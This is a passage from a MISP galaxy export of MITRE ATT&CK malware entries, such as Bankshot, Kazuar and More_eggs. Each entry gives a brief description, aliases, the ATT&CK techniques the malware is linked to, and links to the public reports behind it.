uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 3342. Table References
Links
https://attack.mitre.org/software/S0238
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

BrainTest - S0293

[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)

The tag is: misp-galaxy:mitre-malware="BrainTest - S0293"

BrainTest - S0293 is also known as:

BrainTest

BrainTest - S0293 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452" with estimative-language:likelihood-probability="almost-certain"

Table 3343. Table References
Links
https://attack.mitre.org/software/S0293
http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/
https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/

Bankshot - S0239

[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)

The tag is: misp-galaxy:mitre-malware="Bankshot - S0239"

Bankshot - S0239 is also known as:

Bankshot
Trojan Manuscript

Bankshot - S0239 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 3344. Table References
Links
https://attack.mitre.org/software/S0239
https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/

Tangelo - S0329

[Tangelo](https://attack.mitre.org/software/S0329) is iOS malware that is believed to be from the same developers as the [Stealth Mango](https://attack.mitre.org/software/S0328) Android malware. It is not a mobile application, but rather a Debian package that can only run on jailbroken iOS devices. (Citation: Lookout-StealthMango)

The tag is: misp-galaxy:mitre-malware="Tangelo - S0329"

Tangelo - S0329 is also known as:

Tangelo

Tangelo - S0329 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 3345. Table References
Links
https://attack.mitre.org/software/S0329
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf

Comnie - S0244

[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)

The tag is: misp-galaxy:mitre-malware="Comnie - S0244"

Comnie - S0244 is also known as:

Comnie

Comnie - S0244 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 3346. Table References
Links
https://attack.mitre.org/software/S0244
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

BADCALL - S0245

[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)

The tag is: misp-galaxy:mitre-malware="BADCALL - S0245"

BADCALL - S0245 is also known as:

BADCALL

BADCALL - S0245 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3347. Table References
Links
https://attack.mitre.org/software/S0245
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF

PLAINTEE - S0254

[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)

The tag is: misp-galaxy:mitre-malware="PLAINTEE - S0254"

PLAINTEE - S0254 is also known as:

PLAINTEE

PLAINTEE - S0254 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3348. Table References
Links
https://attack.mitre.org/software/S0254
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

HARDRAIN - S0246

[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)

The tag is: misp-galaxy:mitre-malware="HARDRAIN - S0246"

HARDRAIN - S0246 is also known as:

HARDRAIN

HARDRAIN - S0246 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3349. Table References
Links
https://attack.mitre.org/software/S0246
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf

OopsIE - S0264

[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)

The tag is: misp-galaxy:mitre-malware="OopsIE - S0264"

OopsIE - S0264 is also known as:

OopsIE

OopsIE - S0264 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3350. Table References
Links
https://attack.mitre.org/software/S0264
https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

NavRAT - S0247

[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)

The tag is: misp-galaxy:mitre-malware="NavRAT - S0247"

NavRAT - S0247 is also known as:

NavRAT

NavRAT - S0247 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3351. Table References
Links
https://attack.mitre.org/software/S0247
https://blog.talosintelligence.com/2018/05/navrat.html

Calisto - S0274

[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)

The tag is: misp-galaxy:mitre-malware="Calisto - S0274"

Calisto - S0274 is also known as:

Calisto

Calisto - S0274 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"

Table 3352. Table References
Links
https://attack.mitre.org/software/S0274
https://securelist.com/calisto-trojan-for-macos/86543/
https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days

More_eggs - S0284

[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable "More_eggs" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)

The tag is: misp-galaxy:mitre-malware="More_eggs - S0284"

More_eggs - S0284 is also known as:

More_eggs
Terra Loader
SpicyOmelette

More_eggs - S0284 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"

Table 3353. Table References
Links
https://attack.mitre.org/software/S0284
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf

yty - S0248

[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)

The tag is: misp-galaxy:mitre-malware="yty - S0248"

yty - S0248 is also known as:

yty - S0248 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3354. Table References
Links
https://attack.mitre.org/software/S0248
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/

ShiftyBug - S0294

[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)

The tag is: misp-galaxy:mitre-malware="ShiftyBug - S0294"

ShiftyBug - S0294 is also known as:

ShiftyBug

ShiftyBug - S0294 has relationships with:

similar: misp-galaxy:android="Kemoge" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"

Table 3355. Table References
Links
https://attack.mitre.org/software/S0294
https://blog.lookout.com/blog/2015/11/04/trojanized-adware/

DDKONG - S0255

[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)

The tag is: misp-galaxy:mitre-malware="DDKONG - S0255"

DDKONG - S0255 is also known as:

DDKONG

DDKONG - S0255 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3356. Table References
Links
https://attack.mitre.org/software/S0255
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Kazuar - S0265

[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)

The tag is: misp-galaxy:mitre-malware="Kazuar - S0265"

Kazuar - S0265 is also known as:

Kazuar

Kazuar - S0265 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
